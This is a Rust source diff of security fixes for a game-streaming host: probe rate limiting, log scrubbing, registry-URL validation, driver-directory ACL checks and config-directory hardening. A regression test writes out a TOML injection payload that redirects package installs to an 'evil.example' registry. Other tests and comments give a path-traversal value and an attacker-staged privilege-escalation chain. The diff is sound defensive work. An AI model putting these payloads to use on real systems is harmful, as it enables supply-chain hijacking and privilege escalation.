const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500);
let mut last_accepted_switch: Option<std::time::Instant> = None;
// Speed-test probes get the same treatment as mode switches, for the same reason.
//
// Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could
// queue, so one could pause its own video and pin the host's uplink indefinitely by simply
// asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not
// (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes
// at session start and on a manual speed test) and makes the channel useless as an amplifier.
const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10);
let mut last_probe: Option<std::time::Instant> = None;
// Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe
// result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg`
// would lose the partial frame and misalign the stream for the rest of the session.
@@ -233,6 +242,15 @@ pub(super) async fn run(
);
let _ = shard_ack_tx.send(ack.shard_payload);
} else if let Ok(req) = ProbeRequest::decode(&msg) {
let now = std::time::Instant::now();
if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) {
tracing::warn!(
target_kbps = req.target_kbps,
"speed-test probe rejected (rate-limited)"
);
continue;
}
last_probe = Some(now);
tracing::info!(
target_kbps = req.target_kbps,
duration_ms = req.duration_ms,
+13 -2
View File
@@ -848,11 +848,22 @@ pub(super) fn input_thread(
// Rich input (touchpad / motion) is applied the moment it arrives; the single channel
// wakes for gyro samples instead of making them wait out the feedback poll interval.
Ok(ClientInput::Rich(rich)) => {
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) {
// Debug-only instrument: skip the whole thing unless debug logging is actually
// enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop
// regardless, so every session paid for a measurement nobody was reading — and the
// "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption
// about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review
// L-5). The explicit cap below makes it a bound.
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. })
&& tracing::enabled!(tracing::Level::DEBUG)
{
let now = std::time::Instant::now();
if let Some(prev) = last_motion.replace(now) {
let gap = now.duration_since(prev);
if gap < std::time::Duration::from_secs(1) {
// 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop
// for a client that simply sends motion as fast as the link allows.
if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000
{
motion_gaps_us.push(gap.as_micros() as u32);
}
}
+14 -4
View File
@@ -7,6 +7,7 @@ use super::*;
// The ceremony-only wire messages: imported directly (native.rs no longer references them, so they
// were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives
// via the glob (serve_session decodes it).
use crate::native_pairing::sanitize_device_name;
use punktfunk_core::quic::{PairChallenge, PairProof, PairResult};
/// Pairing needs a human in the loop (reading the PIN off the host, typing it into the
@@ -29,10 +30,19 @@ pub(super) async fn pair_ceremony(
use punktfunk_core::quic::pake;
let client_fp = endpoint::peer_fingerprint(conn)
.ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?;
let client_fp_hex = fingerprint_hex(&client_fp);
// Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on.
//
// This name arrives from an UNPAIRED device — the earliest, least authenticated input the host
// takes — and these were the three log sites that bypassed the documented single scrubber, so
// ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal
// (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own
// module doc; the storage path already went through it, only the logging did not.
let name = sanitize_device_name(&req.name, &client_fp_hex);
tracing::info!(
name = %req.name,
client = %fingerprint_hex(&client_fp),
name = %name,
client = %client_fp_hex,
"PAIRING REQUEST — verifying against the armed PIN"
);
@@ -74,9 +84,9 @@ pub(super) async fn pair_ceremony(
if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) {
tracing::error!(error = %format!("{e:#}"), "could not persist paired clients");
}
tracing::info!(name = %req.name, "pairing complete — client trusted");
tracing::info!(name = %name, "pairing complete — client trusted");
} else {
tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored");
tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored");
}
io::write_msg(&mut send, &PairResult { ok }.encode()).await?;
let _ = send.finish();
+8 -3
View File
@@ -1307,7 +1307,7 @@ pub(super) struct SessionContext {
/// The session's input pipeline (the same channel client datagrams feed) — the stream loop
/// uses it to PARK the seat pointer on the streamed surface (see [`park_pointer`]).
#[cfg(target_os = "linux")]
pub(super) input_tx: std::sync::mpsc::Sender<super::input::ClientInput>,
pub(super) input_tx: std::sync::mpsc::SyncSender<super::input::ClientInput>,
}
/// Park the seat pointer at the centre of the streamed surface, through the SAME injection path
@@ -1325,7 +1325,7 @@ pub(super) struct SessionContext {
/// output's edge — pins the pointer to the surface the client actually sees. A desktop-model
/// client overrides it with its first absolute move, so the jump is invisible in practice.
#[cfg(target_os = "linux")]
fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w: u32, h: u32) {
fn park_pointer(input_tx: &std::sync::mpsc::SyncSender<super::input::ClientInput>, w: u32, h: u32) {
let ev = punktfunk_core::input::InputEvent {
kind: punktfunk_core::input::InputKind::MouseMoveAbs,
_pad: [0; 3],
@@ -1336,7 +1336,12 @@ fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w
// matches the streamed output by exactly these dims.
flags: (w << 16) | (h & 0xffff),
};
if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() {
// `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a
// best-effort nicety and must never block the stream loop behind a full input backlog.
if input_tx
.try_send(super::input::ClientInput::Event(ev))
.is_ok()
{
tracing::info!(
w,
h,
+97 -3
View File
@@ -137,6 +137,49 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
out
}
/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a
/// registry: absolute https, bounded, and built only from characters that appear in a real URL.
///
/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this
/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original
/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no
/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early.
fn valid_registry_url(url: &str) -> bool {
let Some(rest) = url.strip_prefix("https://") else {
return false;
};
!rest.is_empty()
&& url.len() <= 512
&& rest.chars().all(|c| {
c.is_ascii_alphanumeric()
|| matches!(
c,
'-' | '.'
| '_'
| '~'
| ':'
| '/'
| '?'
| '#'
| '['
| ']'
| '@'
| '!'
| '$'
| '&'
| '\''
| '('
| ')'
| '*'
| '+'
| ','
| ';'
| '='
| '%'
)
})
}
/// Point a package scope at its registry in the plugins dir's `bunfig.toml`.
///
/// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on
@@ -149,9 +192,17 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
/// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already
/// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives.
pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> {
// The scope and URL both come from a signature-verified, field-validated index entry
// (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML.
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") {
// Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be
// proven unable to close the quote.
//
// The scope always was. The URL was not: its only guard was `starts_with("https://")`, and
// `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through
// `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry
// read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]`
// table into the file that tells `bun` where to fetch EVERY package from — and it persists
// after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7).
// Sources may be unsigned, so "it came from a verified index" was not a guarantee either.
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) {
bail!("refusing to map scope `{scope}` to `{url}`");
}
std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?;
@@ -679,6 +730,49 @@ mod tests {
assert!(!dir.path().join("bunfig.toml").exists());
}
/// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never
/// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so
/// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The
/// payload that mattered injects a top-level `[install]` table, redirecting every subsequent
/// package resolution, and survives deletion of the source that introduced it.
#[test]
fn bunfig_registry_url_cannot_inject_a_toml_table() {
let dir = tempfile::tempdir().unwrap();
let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/";
assert!(
ensure_bunfig_scope(dir.path(), "@x", injection).is_err(),
"a registry URL that closes the TOML string must be refused"
);
assert!(!dir.path().join("bunfig.toml").exists());
// The individual characters that make it possible, each on its own.
for bad in [
"https://e/\"quote",
"https://e/\nnewline",
"https://e/\rcarriage",
"https://e/ space",
"https://e/\ttab",
"https://e/back\\slash",
"https://e/nul\0byte",
] {
assert!(
ensure_bunfig_scope(dir.path(), "@x", bad).is_err(),
"must refuse registry URL {bad:?}"
);
}
// Real registry URLs — including ports, query strings and percent-escapes — still pass.
for good in [
"https://git.unom.io/api/packages/unom/npm/",
"https://registry.example.com:8443/npm/",
"https://example.com/npm/?token=abc%20def",
] {
assert!(
ensure_bunfig_scope(dir.path(), "@x", good).is_ok(),
"must accept registry URL {good:?}"
);
}
}
/// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`.
///
/// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule
-211
View File
@@ -97,31 +97,6 @@ pub(crate) struct Entry {
/// Host platforms this plugin works on (`linux`/`windows`/`macos`). Empty ⇒ all.
#[serde(default)]
pub platforms: Vec<String>,
/// What kinds of plugin this is (`[a-z][a-z0-9-]{0,31}`, ≤4). The console filters Browse by
/// these, and the Game sources surface's "Add a source" rail lists exactly the entries carrying
/// `library` (design D5/D6). Additive: an older host ignores the field, a newer one just sees no
/// categories on an older index.
#[serde(default)]
pub categories: Vec<String>,
/// Optional per-platform "is this launcher installed here?" probes (design D8).
#[serde(default, skip_serializing_if = "Option::is_none")]
pub detect: Option<DetectProbes>,
}
/// Existence probes that let the console badge a catalog row "detected on this host" **without the
/// host re-growing per-store knowledge** — the whole point of extracting the scanners. Store
/// knowledge lives in the updatable, signed index; the host stays generic and only evaluates.
///
/// Deliberately anaemic: a probe is a path or an `HKLM\…` registry key, checked for EXISTENCE only.
/// No reads, no content matching, no globbing beyond a single `*` segment. The index is
/// operator-trusted but remotely updatable, so a probe must never be able to exfiltrate anything or
/// cost more than a stat.
#[derive(Debug, Clone, Default, Deserialize, Serialize)]
pub(crate) struct DetectProbes {
#[serde(default)]
pub linux: Vec<String>,
#[serde(default)]
pub windows: Vec<String>,
}
#[derive(Debug, Clone, Deserialize, Serialize)]
@@ -253,40 +228,9 @@ impl Entry {
self.platforms
.retain(|p| matches!(p.as_str(), "linux" | "windows" | "macos"));
self.platforms.truncate(4);
// Categories and probes are cosmetic/advisory: a malformed one is dropped, never fatal to
// the entry — a plugin must stay installable even if a future index writes a category this
// host build has never heard of.
self.categories.retain(|c| valid_category(c));
self.categories.truncate(4);
if let Some(d) = &mut self.detect {
d.linux.retain(|p| valid_probe(p));
d.windows.retain(|p| valid_probe(p));
d.linux.truncate(MAX_PROBES);
d.windows.truncate(MAX_PROBES);
if d.linux.is_empty() && d.windows.is_empty() {
self.detect = None;
}
}
Ok(())
}
/// Does this entry's platform probe match on the running host? `None` = the entry declares no
/// probes for this platform, i.e. "unknown", which the console renders differently from "no".
pub(crate) fn detected(&self) -> Option<bool> {
let probes = self.detect.as_ref()?;
let list = if cfg!(windows) {
&probes.windows
} else if cfg!(target_os = "linux") {
&probes.linux
} else {
return None;
};
if list.is_empty() {
return None;
}
Some(list.iter().any(|p| probe_matches(p)))
}
/// Is this entry installable on the running host? Returns the operator-facing reason when not.
pub(crate) fn incompatible_reason(&self) -> Option<String> {
if !self.platforms.is_empty() && !self.platforms.iter().any(|p| p == HOST_PLATFORM) {
@@ -428,94 +372,6 @@ fn is_https(url: &str) -> bool {
url.starts_with("https://") && url.len() > "https://".len()
}
/// A plugin category (design D5): same shape the registration API accepts, so a plugin's declared
/// category and its catalog row can never disagree about spelling.
fn valid_category(c: &str) -> bool {
(1..=32).contains(&c.len())
&& c.starts_with(|ch: char| ch.is_ascii_lowercase())
&& c.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
}
/// How many probes one platform may declare — a handful of well-chosen paths covers any launcher,
/// and the cap bounds the stat cost of rendering the catalog.
const MAX_PROBES: usize = 8;
/// Is this a probe the host will evaluate? An **absolute** filesystem path with at most one `*`
/// segment, or an `HKLM\…` registry key. Everything else is dropped.
///
/// The restrictions are the security model (D8). Absolute: a relative path would resolve against
/// whatever the host's cwd happens to be. One `*` segment: bounded fan-out, so a probe can't walk a
/// tree. `HKLM` only: `HKCU` is unreadable as LocalService anyway, and pointing the host at an
/// arbitrary hive is not something a remote index should be able to ask for.
fn valid_probe(p: &str) -> bool {
if p.is_empty() || p.len() > 260 {
return false;
}
if let Some(key) = p.strip_prefix("HKLM\\") {
return !key.is_empty()
&& !key.contains("..")
&& key.bytes().all(|b| {
b.is_ascii_alphanumeric() || matches!(b, b'\\' | b' ' | b'-' | b'_' | b'.')
});
}
let b = p.as_bytes();
let absolute = p.starts_with('/') || (b.len() >= 3 && b[1] == b':' && b[2] == b'\\');
// No traversal, and at most ONE wildcard segment (`~` is not expanded — the host runs as a
// service account whose home means nothing to a user's launcher install).
absolute && !p.contains("..") && p.matches('*').count() <= 1
}
/// Evaluate one probe: does the path (or registry key) exist? Existence only — never a read.
fn probe_matches(p: &str) -> bool {
#[cfg(windows)]
if let Some(key) = p.strip_prefix("HKLM\\") {
use std::os::windows::process::CommandExt;
// `reg.exe query` rather than a registry crate: dependency-free, and it is exactly what a
// library plugin will use for the same job under LocalService.
const CREATE_NO_WINDOW: u32 = 0x0800_0000;
return std::process::Command::new("reg.exe")
.args(["query", &format!("HKLM\\{key}")])
.creation_flags(CREATE_NO_WINDOW)
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status()
.map(|s| s.success())
.unwrap_or(false);
}
#[cfg(not(windows))]
if p.starts_with("HKLM\\") {
return false; // a Windows probe on a POSIX host is simply not a match
}
match p.split_once('*') {
None => std::path::Path::new(p).exists(),
// One wildcard: list the parent of the wildcard segment and match the fixed prefix/suffix
// around it. Bounded to a single directory read.
Some((before, after)) => {
let (dir, prefix) = match before.rfind(['/', '\\']) {
Some(i) => (&before[..=i], &before[i + 1..]),
None => return false, // a wildcard with no directory to anchor it
};
let (suffix, rest) = match after.find(['/', '\\']) {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
let Ok(read) = std::fs::read_dir(dir) else {
return false;
};
read.flatten().any(|e| {
let name = e.file_name();
let name = name.to_string_lossy();
name.starts_with(prefix)
&& name.ends_with(suffix)
&& name.len() >= prefix.len() + suffix.len()
&& (rest.is_empty()
|| e.path().join(rest.trim_start_matches(['/', '\\'])).exists())
})
}
}
}
#[cfg(test)]
mod tests {
use super::*;
@@ -545,73 +401,6 @@ mod tests {
assert!(Index::parse(b"not json").is_err());
}
/// WP2.8 is additive on purpose — SCHEMA stays 1. An index written by a newer curator must load
/// on an older host (unknown fields ignored) and vice versa (absent fields default), or the
/// signed-index rollout would need a flag day.
#[test]
fn categories_and_probes_are_additive_and_sanitized() {
// An entry with NEITHER field — every index in the wild today.
let e = &Index::parse(&doc(GOOD)).unwrap().plugins[0];
assert!(e.categories.is_empty());
assert!(e.detect.is_none());
assert_eq!(e.detected(), None, "no probes ⇒ unknown, not `false`");
// With both, including rows that must be dropped rather than fail the entry.
let rich = GOOD.trim_end_matches('}').to_string()
+ r#","categories":["library","Bad Cat","x","y","z","w"],
"detect":{"linux":["/usr/bin/steam","relative/path","/etc/../etc/passwd"],
"windows":["HKLM\\SOFTWARE\\Valve\\Steam","HKCU\\SOFTWARE\\Valve"]}}"#;
let e = &Index::parse(&doc(&rich)).unwrap().plugins[0];
assert_eq!(
e.categories,
["library", "x", "y", "z"],
"malformed dropped, capped at 4"
);
let d = e.detect.as_ref().expect("probes kept");
assert_eq!(d.linux, ["/usr/bin/steam"], "relative + traversal dropped");
assert_eq!(
d.windows,
["HKLM\\SOFTWARE\\Valve\\Steam"],
"HKCU is not evaluable as LocalService — dropped"
);
}
#[test]
fn probe_shapes_are_bounded() {
assert!(valid_probe("/usr/bin/steam"));
assert!(
valid_probe("/home/*/.steam"),
"one wildcard segment is fine"
);
assert!(valid_probe(r"C:\Program Files (x86)\Steam\steam.exe"));
assert!(valid_probe(r"HKLM\SOFTWARE\WOW6432Node\Valve\Steam"));
// Rejected: relative, traversal, more than one wildcard, other hives, absurd length.
assert!(!valid_probe("steam"));
assert!(!valid_probe("/usr/../etc/passwd"));
assert!(!valid_probe("/home/*/games/*/steam"));
assert!(!valid_probe(r"HKCU\SOFTWARE\Valve"));
assert!(!valid_probe(""));
assert!(!valid_probe(&"/x".repeat(200)));
}
/// The evaluator does existence checks only, against real paths, and never reads a byte.
#[test]
fn probes_evaluate_against_the_filesystem() {
let dir = std::env::temp_dir().join(format!("pf-probe-{}", std::process::id()));
let nested = dir.join("SteamLibrary-42");
std::fs::create_dir_all(nested.join("steamapps")).unwrap();
let d = dir.to_string_lossy().into_owned();
assert!(probe_matches(&format!("{d}/SteamLibrary-42")));
assert!(!probe_matches(&format!("{d}/nope")));
// One wildcard segment, with and without a trailing fixed component.
assert!(probe_matches(&format!("{d}/SteamLibrary-*")));
assert!(probe_matches(&format!("{d}/SteamLibrary-*/steamapps")));
assert!(!probe_matches(&format!("{d}/SteamLibrary-*/nope")));
assert!(!probe_matches(&format!("{d}/Other-*")));
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn drops_invalid_entries_but_keeps_the_rest() {
let bad_unscoped = GOOD.replace("@punktfunk/plugin-rom-manager", "punktfunk-plugin-x");
+222 -32
View File
@@ -61,6 +61,22 @@ pub fn driver_main(args: &[String]) -> Result<()> {
fn driver_install(args: &[String]) -> Result<()> {
let dir =
PathBuf::from(flag_val(args, "--dir").context("driver install: --dir <stage> required")?);
// Everything below this line runs with the caller's privileges — which, on the installer path,
// are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a
// `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into
// the driver store. So the directory is not merely an input, it is code and trust; a stage a
// non-admin can write is a local privilege escalation, whoever passed the flag.
//
// This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually
// in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's
// plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`).
ensure_admin_only_source(&dir).with_context(|| {
format!(
"refusing to install drivers from {} — the staging directory must be writable only by \
SYSTEM/Administrators",
dir.display()
)
})?;
let gamepad = flag_present(args, "--gamepad");
let (what, res) = if gamepad {
("gamepad", install_gamepad(&dir))
@@ -74,6 +90,163 @@ fn driver_install(args: &[String]) -> Result<()> {
Ok(())
}
/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write.
///
/// Two conditions, both necessary:
/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always
/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the
/// DACL currently says;
/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR
/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is
/// precisely what keeps handing them control of everything inside.
///
/// Reads the security descriptor directly rather than parsing `icacls` output, which prints
/// *localized account names* — the same class of locale trap this whole module exists to avoid.
#[cfg(windows)]
fn ensure_admin_only_source(dir: &Path) -> Result<()> {
use std::os::windows::ffi::OsStrExt;
use windows::core::PCWSTR;
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT};
use windows::Win32::Security::{
EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL,
DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID,
};
const ACCESS_ALLOWED_ACE_TYPE: u8 = 0;
/// Rights that let a trustee change what we are about to trust and execute: write/append data,
/// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the
/// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and
/// both generic bits are checked explicitly in case an ACE stores them unmapped.
const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE
| 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY
| 0x0000_0010 // FILE_WRITE_EA
| 0x0000_0100 // FILE_WRITE_ATTRIBUTES
| 0x0000_0040 // FILE_DELETE_CHILD
| 0x0001_0000 // DELETE
| 0x0004_0000 // WRITE_DAC
| 0x0008_0000 // WRITE_OWNER
| 0x1000_0000 // GENERIC_ALL
| 0x4000_0000; // GENERIC_WRITE
if !dir.is_dir() {
bail!("{} is not a directory", dir.display());
}
let wide: Vec<u16> = dir
.as_os_str()
.encode_wide()
.chain(std::iter::once(0))
.collect();
let mut owner = PSID::default();
let mut dacl: *mut ACL = std::ptr::null_mut();
let mut sd = PSECURITY_DESCRIPTOR::default();
// SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the
// returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it).
let rc = unsafe {
GetNamedSecurityInfoW(
PCWSTR(wide.as_ptr()),
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
Some(&mut owner),
None,
Some(&mut dacl),
None,
&mut sd,
)
};
let verdict = (|| -> Result<()> {
rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?;
let privileged = privileged_sids()?;
// SAFETY: `owner` points into the descriptor returned above and is valid for this scope.
let is_privileged = |sid: PSID| -> bool {
if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() {
return false;
}
privileged
.iter()
.any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok())
};
if !is_privileged(owner) {
bail!(
"the directory is owned by a non-administrative account, which retains WRITE_DAC \
and can restore its own access at any time"
);
}
// A NULL DACL grants everyone everything; an absent one is not "no access".
if dacl.is_null() {
bail!("the directory has a NULL DACL (everyone has full control)");
}
// SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index.
let count = unsafe { (*dacl).AceCount };
for i in 0..count as u32 {
let mut ace: *mut core::ffi::c_void = std::ptr::null_mut();
// SAFETY: i < AceCount, and `ace` is a live out-param.
unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?;
// SAFETY: every ACE starts with an ACE_HEADER.
let header = unsafe { *(ace as *const ACE_HEADER) };
if header.AceType != ACCESS_ALLOWED_ACE_TYPE {
continue; // deny ACEs only ever subtract; audit ACEs grant nothing
}
// SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID.
let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) };
if allowed.Mask & WRITE_MASK == 0 {
continue; // read-only for this trustee — harmless
}
let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void);
if !is_privileged(sid) {
bail!(
"a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \
anything staged here can be replaced before it is trusted or executed",
allowed.Mask
);
}
}
Ok(())
})();
// SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned.
unsafe {
let _ = LocalFree(Some(HLOCAL(sd.0)));
}
verdict
}
/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`,
/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage).
#[cfg(windows)]
fn privileged_sids() -> Result<Vec<Vec<u8>>> {
use windows::core::PCWSTR;
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::ConvertStringSidToSidW;
use windows::Win32::Security::{GetLengthSid, PSID};
[
"S-1-5-18",
"S-1-5-32-544",
"S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464",
]
.iter()
.map(|s| {
let wide: Vec<u16> = s.encode_utf16().chain(std::iter::once(0)).collect();
let mut psid = PSID::default();
// SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param.
unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) }
.with_context(|| format!("ConvertStringSidToSidW({s})"))?;
// SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes.
let len = unsafe { GetLengthSid(psid) } as usize;
let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec();
// SAFETY: ConvertStringSidToSidW allocates with LocalAlloc.
unsafe {
let _ = LocalFree(Some(HLOCAL(psid.0)));
}
Ok(bytes)
})
.collect()
}
/// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` /
/// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we
/// find our own certs again without parsing any localized output — see `purge_driver_certs`.
@@ -454,7 +627,12 @@ fn web_setup(args: &[String]) -> Result<()> {
PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir <app> required")?);
let pw_file = flag_val(args, "--password-file");
let data_dir = pf_paths::config_dir();
std::fs::create_dir_all(&data_dir).ok();
// `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else
// touches the config dir, and the very next line writes the console login password into it. A
// plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may
// create files — so the one call that most needs the hardened directory was the one creating it
// unhardened (2026-08-05 review H-4).
pf_paths::create_private_dir(&data_dir).ok();
// 1. login password
set_web_password(&data_dir.join("web-password"), pw_file.as_deref());
@@ -477,39 +655,51 @@ fn web_setup(args: &[String]) -> Result<()> {
server.display()
);
}
// 4. firewall: inbound TCP 47992. The console serves HTTPS (HTTP/1.1 over TLS) with the host's
// identity cert. (No UDP/HTTP-3: browsers won't use QUIC against a self-signed/no-SAN cert.)
// Scoped to the same profiles as the streaming ports — Domain + Private by default, Public
// only with `--allow-public-network`. Delete any prior rule first so an upgrade re-scopes it
// instead of stacking a second (possibly all-profiles) rule behind the new one.
// 4. firewall: inbound TCP 47992 (console) and 47993 (plugin UIs). The console serves HTTPS
// (HTTP/1.1 over TLS) with the host's identity cert. (No UDP/HTTP-3: browsers won't use QUIC
// against a self-signed/no-SAN cert.) Scoped to the same profiles as the streaming ports —
// Domain + Private by default, Public only with `--allow-public-network`. Delete any prior
// rule first so an upgrade re-scopes it instead of stacking a second (possibly all-profiles)
// rule behind the new one.
//
// 47993 is a SEPARATE ORIGIN, not a second copy of the console: plugin UIs are served there
// precisely so a plugin cannot act as the logged-in operator on the console's origin
// (security-review 2026-08-05 H-3). Same host, same certificate, different port — which is
// what makes it a different origin to the browser while staying same-site for the session
// cookie. Without this rule, plugin interfaces simply do not load from another device.
let fw_profile =
crate::service::firewall_profile_arg(crate::service::allow_public_network(args)?);
run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"delete",
"rule",
"name=Punktfunk web console (TCP 47992)",
],
);
if !run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"add",
"rule",
"name=Punktfunk web console (TCP 47992)",
"dir=in",
"action=allow",
"protocol=TCP",
"localport=47992",
fw_profile,
],
) {
eprintln!("warning: could not add the firewall rule for TCP 47992");
for (name, port) in [
("Punktfunk web console (TCP 47992)", "47992"),
("Punktfunk plugin UIs (TCP 47993)", "47993"),
] {
run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"delete",
"rule",
&format!("name={name}"),
],
);
if !run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"add",
"rule",
&format!("name={name}"),
"dir=in",
"action=allow",
"protocol=TCP",
&format!("localport={port}"),
fw_profile,
],
) {
eprintln!("warning: could not add the firewall rule for TCP {port}");
}
}
// No start step: the PunktfunkHost service supervises the console and starts it the moment the
// host has written the files it needs (mgmt token + identity cert/key) — there is nothing an
+17 -5
View File
@@ -1343,14 +1343,26 @@ fn uninstall() -> Result<()> {
/// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor.
fn ensure_default_host_env() -> Result<()> {
let path = host_env_path();
if path.exists() {
return Ok(());
}
// Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the
// branch that creates the file.
//
// The 2026-08-05 review's H-4: this used to return early when host.env already existed, which
// skipped the very `create_private_dir` whose reason for existing is "so a local user can't
// pre-create it and plant a host.env". `C:\ProgramData` grants BUILTIN\Users add-subdirectory
// plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`,
// own it, and drop a host.env — and the skip meant the one case the hardening was written for was
// the one case it never ran in. The service then loads that file verbatim into its own SYSTEM
// environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`).
if let Some(dir) = path.parent() {
// DACL-lock the config dir on creation so a local user can't pre-create it and plant a
// host.env (which feeds the SYSTEM service's env + command line) — security-review #3.
pf_paths::create_private_dir(dir).ok();
}
if path.exists() {
// An existing host.env may predate the hardening (or have been planted before it ran), in
// which case it is still owned by whoever created it — and an owner can rewrite the DACL it
// inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory.
pf_paths::restrict_existing_secret_file(&path);
return Ok(());
}
